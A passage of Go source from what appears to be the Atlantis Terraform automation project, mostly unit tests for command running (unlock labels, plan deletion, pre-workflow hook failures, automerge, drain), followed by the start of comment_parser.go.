command.Unlock})\n\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq(\"Failed to delete PR locks\"), Eq(\"unlock\"))\n}\n\nfunc TestRunUnlockCommandFail_DisableUnlockLabel(t *testing.T) {\n\tt.Log(\"if PR has label equal to disable-unlock-label unlock should fail\")\n\n\tdoNotUnlock := \"do-not-unlock\"\n\n\tvcsClient := setup(t)\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo,\n\t\ttestdata.GithubRepo, nil)\n\tWhen(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName),\n\t\tEq(testdata.Pull.Num))).ThenReturn(0, errors.New(\"err\"))\n\tWhen(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(modelPull))).ThenReturn([]string{doNotUnlock, \"need-help\"}, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num,\n\t\t&events.CommentCommand{Name: command.Unlock})\n\n\tvcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(testdata.Pull.Num), Eq(\"Not allowed to unlock PR with \"+doNotUnlock+\" label\"), Eq(\"unlock\"))\n}\n\nfunc TestRunUnlockCommandFail_GetLabelsFail(t *testing.T) {\n\tt.Log(\"if GetPullLabels fails do not unlock PR\")\n\n\tvcsClient := setup(t)\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo,\n\t\ttestdata.GithubRepo, nil)\n\tWhen(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName),\n\t\tEq(testdata.Pull.Num))).ThenReturn(0, errors.New(\"err\"))\n\tWhen(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(modelPull))).ThenReturn(nil, errors.New(\"err\"))\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num,\n\t\t&events.CommentCommand{Name: command.Unlock})\n\n\tvcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num),\n\t\tEq(\"Failed to retrieve PR labels... Not unlocking\"), Eq(\"unlock\"))\n}\n\nfunc TestRunUnlockCommandDoesntRetrieveLabelsIfDisableUnlockLabelNotSet(t *testing.T) {\n\tt.Log(\"if disable-unlock-label is not set do not call GetPullLabels\")\n\n\tdoNotUnlock := \"do-not-unlock\"\n\n\tvcsClient := setup(t)\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo,\n\t\ttestdata.GithubRepo, nil)\n\tWhen(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName),\n\t\tEq(testdata.Pull.Num))).ThenReturn(0, errors.New(\"err\"))\n\tWhen(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(modelPull))).ThenReturn([]string{doNotUnlock, \"need-help\"}, nil)\n\tunlockCommandRunner.DisableUnlockLabel = \"\"\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num,\n\t\t&events.CommentCommand{Name: command.Unlock})\n\n\tvcsClient.VerifyWasCalled(Never()).GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))\n}\n\nfunc TestRunAutoplanCommand_DeletePlans(t *testing.T) {\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t}, nil)\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}})\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil)\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User)\n\tpendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp)\n}\n\nfunc TestRunAutoplanCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_False(t *testing.T) {\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t}, nil)\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}})\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil)\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New(\"err\"))\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.FailOnPreWorkflowHookError = false\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User)\n\tpendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp)\n\tcommitUpdater.VerifyWasCalledOnce().UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tEq(models.PendingCommitStatus), Eq(command.Plan))\n\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tEq(models.FailedCommitStatus), Any[command.Name]())\n}\n\nfunc TestRunAutoplanCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_True(t *testing.T) {\n\tvcsClient := setup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t}, nil)\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New(\"err\"))\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.FailOnPreWorkflowHookError = true\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User)\n\tpendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(Any[string]())\n\t// gomock will fail if lockingLocker.UnlockByPull is called unexpectedly (no EXPECT set)\n\tcommitUpdater.VerifyWasCalledOnce().UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tEq(models.PendingCommitStatus), Eq(command.Plan))\n\n\t_, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments()\n\n\tAssert(t, strings.Contains(comment, \"Error: Pre-workflow hook failed\"), fmt.Sprintf(\"comment should be about a pre-workflow hook failure but was %q\", comment))\n}\n\nfunc TestRunCommentCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_False(t *testing.T) {\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}})\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil)\n\tpull := &github.PullRequest{State: github.Ptr(\"open\")}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New(\"err\"))\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.FailOnPreWorkflowHookError = false\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tpendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp)\n}\n\nfunc TestRunCommentCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_True(t *testing.T) {\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New(\"err\"))\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.FailOnPreWorkflowHookError = true\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tpendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(Any[string]())\n\t// gomock will fail if lockingLocker.UnlockByPull is called unexpectedly (no EXPECT set)\n}\n\nfunc TestRunGenericPlanCommand_DeletePlans(t *testing.T) {\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tprojectCtx := command.ProjectContext{\n\t\tCommandName:         command.Plan,\n\t\tExecutionOrderGroup: 0,\n\t\tProjectName:         \"TestProject\",\n\t\tWorkspace:           \"default\",\n\t\tBaseRepo:            testdata.GithubRepo,\n\t\tPull:                testdata.Pull,\n\t}\n\tWhen(projectCommandBuilder.BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())).\n\t\tThenReturn([]command.ProjectContext{projectCtx}, nil)\n\tWhen(projectCommandRunner.Plan(projectCtx)).ThenReturn(command.ProjectCommandOutput{\n\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\tTerraformOutput: \"true\",\n\t\t},\n\t})\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil)\n\tpull := &github.PullRequest{State: github.Ptr(\"open\")}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tpendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp)\n}\n\nfunc TestRunSpecificPlanCommandDoesnt_DeletePlans(t *testing.T) {\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}})\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil)\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan, ProjectName: \"default\"})\n\tpendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(tmp)\n}\n\n// Test that if one plan fails and we are using automerge, that\n// we delete the plans.\nfunc TestRunAutoplanCommandWithError_DeletePlans(t *testing.T) {\n\tvcsClient := setup(t)\n\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName:      command.Plan,\n\t\t\t\tAutomergeEnabled: true, // Setting this manually, since this tests bypasses automerge param reconciliation logic and otherwise defaults to false.\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommandName:      command.Plan,\n\t\t\t\tAutomergeEnabled: true, // Setting this manually, since this tests bypasses automerge param reconciliation logic and otherwise defaults to false.\n\t\t\t},\n\t\t}, nil)\n\tcallCount := 0\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).Then(func(_ []Param) ReturnValues {\n\t\tif callCount == 0 {\n\t\t\t// The first call, we return a successful result.\n\t\t\tcallCount++\n\t\t\treturn ReturnValues{\n\t\t\t\tcommand.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t\t// The second call, we return a failed result.\n\t\treturn ReturnValues{\n\t\t\tcommand.ProjectCommandOutput{\n\t\t\t\tError: errors.New(\"err\"),\n\t\t\t},\n\t\t}\n\t})\n\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).\n\t\tThenReturn(tmp, nil)\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User)\n\t// gets called twice: the first time before the plan starts, the second time after the plan errors\n\tpendingPlanFinder.VerifyWasCalled(Times(2)).DeletePlans(tmp)\n\n\tvcsClient.VerifyWasCalled(Times(0)).DiscardReviews(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())\n}\n\nfunc TestRunGenericPlanCommand_DiscardApprovals(t *testing.T) {\n\tvcsClient := setup(t, func(testConfig *TestConfig) {\n\t\ttestConfig.discardApprovalOnPlan = true\n\t})\n\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}})\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil)\n\tpull := &github.PullRequest{State: github.Ptr(\"open\")}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tpendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp)\n\n\tvcsClient.VerifyWasCalledOnce().DiscardReviews(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())\n}\n\nfunc TestApplyMergeablityWhenPolicyCheckFails(t *testing.T) {\n\tt.Log(\"if \\\"atlantis apply\\\" is run with failing policy check then apply is not performed\")\n\tsetup(t)\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\n\tmodelPull := models.PullRequest{\n\t\tBaseRepo: testdata.GithubRepo,\n\t\tState:    models.OpenPullState,\n\t\tNum:      testdata.Pull.Num,\n\t}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\t_, _ = boltDB.UpdatePullWithResults(modelPull, []command.ProjectResult{\n\t\t{\n\t\t\tCommand: command.PolicyCheck,\n\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\tError: fmt.Errorf(\"failing policy\"),\n\t\t\t},\n\t\t\tProjectName: \"default\",\n\t\t\tWorkspace:   \"default\",\n\t\t\tRepoRelDir:  \".\",\n\t\t},\n\t})\n\n\tWhen(ch.VCSClient.PullIsMergeable(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull), Eq(\"atlantis-test\"), Eq([]string{}))).ThenReturn(models.MergeableStatus{\n\t\tIsMergeable: true,\n\t}, nil)\n\n\tWhen(projectCommandBuilder.BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())).Then(func(args []Param) ReturnValues {\n\t\treturn ReturnValues{\n\t\t\t[]command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:       command.Apply,\n\t\t\t\t\tProjectName:       \"default\",\n\t\t\t\t\tWorkspace:         \"default\",\n\t\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\t\tProjectPlanStatus: models.ErroredPolicyCheckStatus,\n\t\t\t\t},\n\t\t\t},\n\t\t\tnil,\n\t\t}\n\t})\n\n\tWhen(workingDir.GetPullDir(testdata.GithubRepo, modelPull)).ThenReturn(tmp, nil)\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &modelPull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply})\n}\n\nfunc TestApplyWithAutoMerge_VSCMerge(t *testing.T) {\n\tt.Log(\"if \\\"atlantis apply\\\" is run with automerge then a VCS merge is performed\")\n\n\tvcsClient := setup(t)\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\n\tpullOptions := models.PullRequestOptions{\n\t\tDeleteSourceBranchOnMerge: false,\n\t}\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply})\n\tvcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Eq(modelPull), Eq(pullOptions))\n}\n\nfunc TestRunApply_DiscardedProjects(t *testing.T) {\n\tt.Log(\"if \\\"atlantis apply\\\" is run with automerge and at least one project\" +\n\t\t\" has a discarded plan, automerge should not take place\")\n\tvcsClient := setup(t)\n\tautoMerger.GlobalAutomerge = true\n\tdefer func() { autoMerger.GlobalAutomerge = false }()\n\ttmp := t.TempDir()\n\tboltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tboltDB.Close()\n\t})\n\tOk(t, err)\n\tdbUpdater.Database = boltDB\n\tapplyCommandRunner.Database = boltDB\n\tpull := testdata.Pull\n\tpull.BaseRepo = testdata.GithubRepo\n\t_, err = boltDB.UpdatePullWithResults(pull, []command.ProjectResult{\n\t\t{\n\t\t\tCommand:    command.Plan,\n\t\t\tRepoRelDir: \".\",\n\t\t\tWorkspace:  \"default\",\n\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\tTerraformOutput: \"tf-output\",\n\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\tOk(t, err)\n\tOk(t, boltDB.UpdateProjectStatus(pull, \"default\", \".\", models.DiscardedPlanStatus))\n\tghPull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(ghPull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(ghPull))).ThenReturn(pull, pull.BaseRepo, testdata.GithubRepo, nil)\n\tWhen(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).\n\t\tThenReturn(tmp, nil)\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &pull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply})\n\n\tvcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]())\n}\n\nfunc TestRunCommentCommand_DrainOngoing(t *testing.T) {\n\tt.Log(\"if drain is ongoing then a message should be displayed\")\n\tvcsClient := setup(t)\n\tdrainer.ShutdownBlocking()\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, nil)\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq(\"Atlantis server is shutting down, please try again later.\"), Eq(\"\"))\n}\n\nfunc TestRunCommentCommand_DrainNotOngoing(t *testing.T) {\n\tt.Log(\"if drain is not ongoing then remove ongoing operation must be called even if panic occurred\")\n\tsetup(t)\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenPanic(\n\t\t\"panic test - if you're seeing this in a test failure this isn't the failing test\")\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tgithubGetter.VerifyWasCalledOnce().GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))\n\tEquals(t, 0, drainer.GetStatus().InProgressOps)\n}\n\nfunc TestRunAutoplanCommand_DrainOngoing(t *testing.T) {\n\tt.Log(\"if drain is ongoing then a message should be displayed\")\n\tvcsClient := setup(t)\n\tdrainer.ShutdownBlocking()\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User)\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq(\"Atlantis server is shutting down, please try again later.\"), Eq(\"plan\"))\n}\n\nfunc TestRunAutoplanCommand_DrainNotOngoing(t *testing.T) {\n\tt.Log(\"if drain is not ongoing then remove ongoing operation must be called even if panic occurred\")\n\tsetup(t)\n\ttestdata.Pull.BaseRepo = testdata.GithubRepo\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).ThenPanic(\"panic test - if you're seeing this in a test failure this isn't the failing test\")\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User)\n\tprojectCommandBuilder.VerifyWasCalledOnce().BuildAutoplanCommands(Any[*command.Context]())\n\tEquals(t, 0, drainer.GetStatus().InProgressOps)\n}\n"
  },
  {
    "path": "server/events/command_type.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n"
  },
  {
    "path": "server/events/comment_parser.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/url\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"slices\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/bmatcuk/doublestar/v4\"\n\t\"github.com/google/shlex\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n\t\"github.com/spf13/pflag\"\n)\n\nconst (\n\tworkspaceFlagLong            = \"workspace\"\n\tworkspaceFlagShort           = \"w\"\n\tdirFlagLong                  = \"dir\"\n\tdirFlagShort                 = \"d\"\n\tprojectFlagLong              = \"project\"\n\tprojectFlagShort             = \"p\"\n\tpolicySetFlagLong            = \"policy-set\"\n\tpolicySetFlagShort           = \"\"\n\tautoMergeDisabledFlagLong    = 